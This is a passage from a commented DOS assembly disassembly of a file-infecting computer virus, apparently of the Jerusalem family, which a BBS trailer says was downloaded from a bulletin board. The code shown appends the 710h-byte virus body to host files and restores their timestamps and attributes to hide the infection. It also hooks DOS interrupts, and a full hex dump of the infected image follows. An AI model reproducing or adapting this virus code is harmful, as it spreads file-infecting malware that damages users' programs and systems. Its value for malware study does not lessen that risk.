  702.     MOV  DX,[HOST_SIZE]      ;POINT TO END OF FILE
  703.     MOV  CX,[HOST_SIZE+2]    ;
  704.     MOV  AX,4200             ;
  705.     INT  21H            ;MOVE FILE POINTER
  706. L0597:   JC   L05A2               ;
  707.                         ;
  708. ;---------------------------------------;
  709. ; WRITE VIRUS CODE TO END OF HOST ;
  710. ;---------------------------------------;
  711.     XOR  DX,DX               ;
  712.     MOV  CX,710H             ;(SIZE OF VIRUS)
  713.     MOV  AH,40H              ;
  714.     INT  21H            ;WRITE TO A FILE
  715.                         ;
  716. L05A2:   CMP  Word ptr CS:[008F],0     ;IF...
  717.     JZ   L05AE               ;...SKIP
  718.     MOV  AH,49H              ;
  719.     INT  21H            ;FREE ALLOCATED MEMORY
  720.                         ;
  721. L05AE:   CMP  Word ptr CS:[HANDLE],-1  ;IF ...
  722.     JE   I_90           ;...SKIP
  723.                         ;
  724.     MOV  BX,CS:[HANDLE]      ;RESTORE HOST'S DATE/TIME
  725.     MOV  DX,CS:[HOST_DATE]   ;
  726.     MOV  CX,CS:[HOST_TIME]   ;
  727.     MOV  AX,5701H       ;
  728.     INT  21H            ;GET/SET FILE DATE/TIME
  729.                         ;
  730.     MOV  AH,3EH              ;
  731.     INT  21H            ;CLOSE FILE
  732.                         ;
  733.     LDS  DX,CS:[HOST_NAME]   ;RESTORE HOST'S ATTRIBUTE
  734.     MOV  CX,CS:[HOST_ATT]    ;
  735.     MOV  AX,4301H       ;
  736.     INT  21H            ;CHANGE FILE MODE
  737.                         ;
  738.     LDS  DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
  739.     MOV  AX,2524H       ;
  740.     INT  21H            ;SET VECTOR
  741.                         ;
  742. I_90:    POP  ES             ;
  743.     POP  DS             ;
  744.     POP  DI             ;
  745.     POP  SI             ;
  746.     POP  DX             ;
  747.     POP  CX             ;
  748.     POP  BX             ;
  749.     POP  AX             ;
  750.     POPF                ;   (OUR PUSHF)
  751.     JMP  far CS:[OLD_21]          ;PASS CONTROL TO DOS
  752.                         ;
  753. ;-----------------------------------------------------------------------;
  754. ;                                           ;
  755. ;-----------------------------------------------------------------------;
  756. ;0100  E9 92 00 73 55 4D 73 44-6F 73 00 01 15 18 00 00  i..sUMsDos......
  757. ;0110  00 00 01 A5 FE 00 F0 60-14 4E 02 56 05 A5 16 48  ...%~.p`.N.V.%.H
  758. ;0120  7E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ~...............
  759. ;0130  00 8E 17 80 00 00 00 80-00 8E 17 5C 00 8E 17 6C  ...........\...l
  760. ;0140  00 8E 17 10 07 7A 34 C5-00 7A 34 10 F0 82 00 4D  .....z4E.z4.p..M
  761. ;0150  5A D0 00 98 00 31 00 20-00 11 00 FF FF 5C 12 10  ZP...1. .....\..
  762. ;0160  07 84 19 C5 00 5C 12 20-00 00 00 C3 C3 C3 C3 C3  ...E.\. ...CCCCC
  763. ;0170  05 00 20 00 21 00 2D 00-00 02 10 00 C0 27 01 00  .. .!.-.....@'..
  764. ;0180  D9 41 28 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 01  YA(.COMMAND.COM.
  765. ;0190  00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80  .....|4`M!.|`s..
  766. ;01A0  FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B  |.r.4]?..>...w..
  767. ;01B0  8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50  ...M!.H....P<..P
  768. ;01C0  B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39  8E.PK|....1....9
  769. ;01D0  00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00  ....=....A..@...
  770. ;01E0  2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC  ...I....E.4`M!.|
  771. ;01F0  E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43  `s..|.....E...&C
  772. ;0200  00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3  ....G.3@.@&!|..#
  773. ;0210  4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3  K.& ~.."M.&G.|.s
  774. ;0220  A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9  %&F.~.KX....@..9
  775. ;0230  10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03  ..Qi3v.~.8B.Pj|.
  776. ;0240  00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B  ...H.P<..3@.X.!K
  777. ;0250  00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3  .#|.. M."~..\1.S
  778. ;0260  EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00  k.C....3.4J...1.
  779. ;0270  CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19  M!8!5M!.........
  780. ;0280  00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26  ...:[.8!%M!..1.&
  781. ;0290  8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05  ..,.3.9..2@r.&8.
  782. ;02A0  E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35  `y.W.B.8.K....;5
  783. ;02B0  00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00  ...PSQR4*M!.F...
  784. ;02C0  00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08  ..yC.t0<.u..z.u.
  785. ;02D0  2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E  .~...k .8.5M!...
  786. ;02E0  13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8  .........G....~8
  787. ;02F0  08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF  .%:..M!ZY[X.....
  788. ;0300  1E 17 00 1E 07 B4 49 CD-21 B4 4D CD 21 B4 31 BA  .....4IM!4MM!41:
  789. ;0310  00 06 B1 04 D3 EA 83 C2-10 CD 21 32 C0 CF 2E 83  ..1.Sj.B.M!2@O..
  790. ;0320  3E 1F 00 02 75 17 50 53-51 52 55 B8 02 06 B7 87  >...u.PSQRU8..7.
  791. ;0330  B9 05 05 BA 10 10 CD 10-5D 5A 59 5B 58 2E FF 0E  9..:..M.]ZY[X...
  792. ;0340  1F 00 75 12 2E C7 06 1F-00 01 00 50 51 56 B9 01  ..u..G.....PQV9.
  793. ;0350  40 F3 AC 5E 59 58 2E FF-2E 13 00 9C 80 FC E0 75  @s,^YX.......|`u
  794. ;0360  05 B8 00 03 9D CF 80 FC-DD 74 13 80 FC DE 74 28  .8...O.|]t..|^t(
  795. ;0370  3D 00 4B 75 03 E9 B4 00-9D 2E FF 2E 17 00 58 58  =.Ku.i4.......XX
  796. ;0380  B8 00 01 2E A3 0A 00 58-2E A3 0C 00 F3 A4 9D 2E  8...#..X.#..s$..
  797. ;0390  A1 0F 00 2E FF 2E 0A 00-83 C4 06 9D 8C C8 8E D0  !........D...H.P
  798. ;03A0  BC 10 07 06 06 33 FF 0E-07 B9 10 00 8B F3 BF 21  <....3...9...s?!
  799. ;03B0  00 F3 A4 8C D8 8E C0 2E-F7 26 7A 00 2E 03 06 2B  .s$.X.@.w&z....+
  800. ;03C0  00 83 D2 00 2E F7 36 7A-00 8E D8 8B F2 8B FA 8C  ..R..w6z..X.r.z.
  801. ;03D0  C5 2E 8B 1E 2F 00 0B DB-74 13 B9 00 80 F3 A5 05  E.../..[t.9..s%.
  802. ;03E0  00 10 81 C5 00 10 8E D8-8E C5 4B 75 ED 2E 8B 0E  ...E...X.EKum...
  803. ;03F0  2D 00 F3 A4 58 50 05 10-00 2E 01 06 29 00 2E 01  -.s$XP......)...
  804. ;0400  06 25 00 2E A1 21 00 1F-07 2E 8E 16 29 00 2E 8B  .%..!!......)...
  805. ;0410  26 27 00 2E FF 2E 23 00-33 C9 B8 01 43 CD 21 B4  &'....#.3I8.CM!4
  806. ;0420  41 CD 21 B8 00 4B 9D 2E-FF 2E 17 00 2E 80 3E 0E  AM!8.K........>.
  807. ;0430  00 01 74 E4 2E C7 06 70-00 FF FF 2E C7 06 8F 00  ..td.G.p....G...
  808. ;0440  00 00 2E 89 16 80 00 2E-8C 1E 82 00 50 53 51 52  ............PSQR
  809. ;0450  56 57 1E 06 FC 8B FA 32-D2 80 7D 01 3A 75 05 8A  VW..|.z2R.}.:u..
  810. ;0460  15 80 E2 1F B4 36 CD 21-3D FF FF 75 03 E9 77 02  ..b.46M!=..u.iw.
  811. ;0470  F7 E3 F7 E1 0B D2 75 05-3D 10 07 72 F0 2E 8B 16  wcwa.Ru.=..rp...
  812. ;0480  80 00 1E 07 32 C0 B9 41-00 F2 AE 2E 8B 36 80 00  ....2@9A.r...6..
  813. ;0490  8A 04 0A C0 74 0E 3C 61-72 07 3C 7A 77 03 80 2C  ...@t.<ar.<zw..,
  814. ;04A0  20 46 EB EC B9 0B 00 2B-F1 BF 84 00 0E 07 B9 0B   Fkl9..+q?....9.
  815. ;04B0  00 F3 A6 75 03 E9 2F 02-B8 00 43 CD 21 72 05 2E  .s&u.i/.8.CM!r..
  816. ;04C0  89 0E 72 00 72 25 32 C0-2E A2 4E 00 1E 07 8B FA  ..r.r%2@."N....z
  817. ;04D0  B9 41 00 F2 AE 80 7D FE-4D 74 0B 80 7D FE 6D 74  9A.r..}~Mt..}~mt
  818. ;04E0  05 2E FE 06 4E 00 B8 00-3D CD 21 72 5A 2E A3 70  ..~.N.8.=M!rZ.#p
  819. ;04F0  00 8B D8 B8 02 42 B9 FF-FF BA FB FF CD 21 72 EB  ..X8.B9..:{.M!rk
  820. ;0500  05 05 00 2E A3 11 00 B9-05 00 BA 6B 00 8C C8 8E  ....#..9..:k..H.
  821. ;0510  D8 8E C0 B4 3F CD 21 8B-FA BE 05 00 F3 A6 75 07  X.@4?M!.z>..s&u.
  822. ;0520  B4 3E CD 21 E9 C0 01 B8-24 35 CD 21 89 1E 1B 00  4>M!i@.8$5M!....
  823. ;0530  8C 06 1D 00 BA 1B 02 B8-24 25 CD 21 C5 16 80 00  ....:..8$%M!E...
  824. ;0540  33 C9 B8 01 43 CD 21 72-3B 2E 8B 1E 70 00 B4 3E  3I8.CM!r;...p.4>
  825. ;0550  CD 21 2E C7 06 70 00 FF-FF B8 02 3D CD 21 72 24  M!.G.p...8.=M!r$
  826. ;0560  2E A3 70 00 8C C8 8E D8-8E C0 8B 1E 70 00 B8 00  .#p..H.X.@..p.8.
  827. ;0570  57 CD 21 89 16 74 00 89-0E 76 00 B8 00 42 33 C9  WM!..t...v.8.B3I
  828. ;0580  8B D1 CD 21 72 3D 80 3E-4E 00 00 74 03 EB 57 90  .QM!r=.>N..t.kW.
  829. ;0590  BB 00 10 B4 48 CD 21 73-0B B4 3E 8B 1E 70 00 CD  ;..4HM!s.4>..p.M
  830. ;05A0  21 E9 43 01 FF 06 8F 00-8E C0 33 F6 8B FE B9 10  !iC......@3v.~9.
  831. ;05B0  07 F3 A4 8B D7 8B 0E 11-00 8B 1E 70 00 06 1F B4  .s$.W......p...4
  832. ;05C0  3F CD 21 72 1C 03 F9 33-C9 8B D1 B8 00 42 CD 21  ?M!r..y3I.Q8.BM!
  833. ;05D0  BE 05 00 B9 05 00 F3 2E-A4 8B CF 33 D2 B4 40 CD  >..9..s.$.O3R4@M
  834. ;05E0  21 72 0D E9 BC 00 B9 1C-00 BA 4F 00 B4 3F CD 21  !r.i<.9..:O.4?M!
  835. ;05F0  72 4A C7 06 61 00 84 19-A1 5D 00 A3 45 00 A1 5F  rJG.a...!].#E.!_
  836. ;0600  00 A3 43 00 A1 63 00 A3-47 00 A1 65 00 A3 49 00  .#C.!c.#G.!e.#I.
  837. ;0610  A1 53 00 83 3E 51 00 00-74 01 48 F7 26 78 00 03  !S..>Q..t.Hw&x..
  838. ;0620  06 51 00 83 D2 00 05 0F-00 83 D2 00 25 F0 FF A3  .Q..R.....R.%p.#
  839. ;0630  7C 00 89 16 7E 00 05 10-07 83 D2 00 72 3A F7 36  |...~.....R.r:w6
  840. ;0640  78 00 0B D2 74 01 40 A3-53 00 89 16 51 00 A1 7C  x..Rt.@#S...Q.!|
  841. ;0650  00 8B 16 7E 00 F7 36 7A-00 2B 06 57 00 A3 65 00  ...~.w6z.+.W.#e.
  842. ;0660  C7 06 63 00 C5 00 A3 5D-00 C7 06 5F 00 10 07 33  G.c.E.#].G._...3
  843. ;0670  C9 8B D1 B8 00 42 CD 21-72 0A B9 1C 00 BA 4F 00  I.Q8.BM!r.9..:O.
  844. ;0680  B4 40 CD 21 72 11 3B C1-75 18 8B 16 7C 00 8B 0E  4@M!r.;Au...|...
  845. ;0690  7E 00 B8 00 42 CD 21 72-09 33 D2 B9 10 07 B4 40  ~.8.BM!r.3R9..4@
  846. ;06A0  CD 21 2E 83 3E 8F 00 00-74 04 B4 49 CD 21 2E 83  M!..>...t.4IM!..
  847. ;06B0  3E 70 00 FF 74 31 2E 8B-1E 70 00 2E 8B 16 74 00  >p..t1...p....t.
  848. ;06C0  2E 8B 0E 76 00 B8 01 57-CD 21 B4 3E CD 21 2E C5  ...v.8.WM!4>M!.E
  849. ;06D0  16 80 00 2E 8B 0E 72 00-B8 01 43 CD 21 2E C5 16  ......r.8.CM!.E.
  850. ;06E0  1B 00 B8 24 25 CD 21 07-1F 5F 5E 5A 59 5B 58 9D  ..8$%M!.._^ZY[X.
  851. ;06F0  2E FF 2E 17 00 00 00 00-00 00 00 00 00 00 00 00  ................
  852. ;0700  4D 00 00 0F 00 00 00 00-00 00 00 00 00 00 00 00  M...............
  853. ;0710  CD 20 0B 1B 00 9A F0 FE-1D F0 2F 01 0E 0A 3C 01  M ....p~.p/...<.
  854. ;0720  0E 0A EB 04 0E 0A 0E 0A-01 01 01 00 02 FF FF FF  ..k.............
  855. ;0730  FF FF FF FF FF FF FF FF-FF FF FF FF DD 0A 0C 16  ............]...
  856. ;0740  52 0B 14 00 18 00 52 0B-FF FF FF FF 00 00 00 00  R.....R.........
  857. ;0750  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
  858. ;0760  CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20  M!K..........   
  859. ;0770  20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20          .....   
  860. ;0780  20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00          ........
  861. ;0790  00 0D 62 3A 0D 62 6F 2E-2A 20 62 3A 0D 00 00 00  ..b:.bo.* b:....
  862. ;07A0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 01 00  ................
  863. ;07B0  17 D0 01 00 01 00 17 D0-01 00 01 00 17 D0 02 00  .P.....P.....P..
  864. ;07C0  01 00 17 D0 02 00 01 00-87 CF 00 00 05 00 FF FF  ...P.....O......
  865. ;07D0  EA CF 01 00 17 D0 07 00-01 00 6C 15 08 25 A5 FE  jO...P....l..%%~
  866. ;07E0  BC 07 1E 02 10 07 6C 15-8E 17 2F 01 04 7F 70 00  <.....l.../...p.
  867. ;07F0  10 07 40 00 82 08 88 17-A5 16 1B 02 8E 17 02 02  ..@.....%.......
  868. ;0800  4D 15 18 05 00 00 00 00-00 00 00 00 00 00 00 00  M...............
  869. ;<<<<<<<<<< ORIGINAL CODE BEGINS HERE
  870. ;0810  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  871. ;0820  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  872. ;0830  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  873. ;0840  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  874. ;0850  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  875. ;0860  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  876. ;0870  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  877. ;0880  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  878. ;0890  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  879. ;08A0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  880. ;08B0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  881. ;08C0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  882. ;08D0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  883. ;08E0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  884. ;08F0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  885. ;0900  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
  886. ;>>>>>>>>>> ORIGINAL CODE ENDS HERE
  887. ;0910  4D 73 44 6F 73
  888. ;-----------------------------------------------------------------------;
  889.     END
  890.  
  891. Downloaded From P-80 International Information Systems 304-744-2253
  892.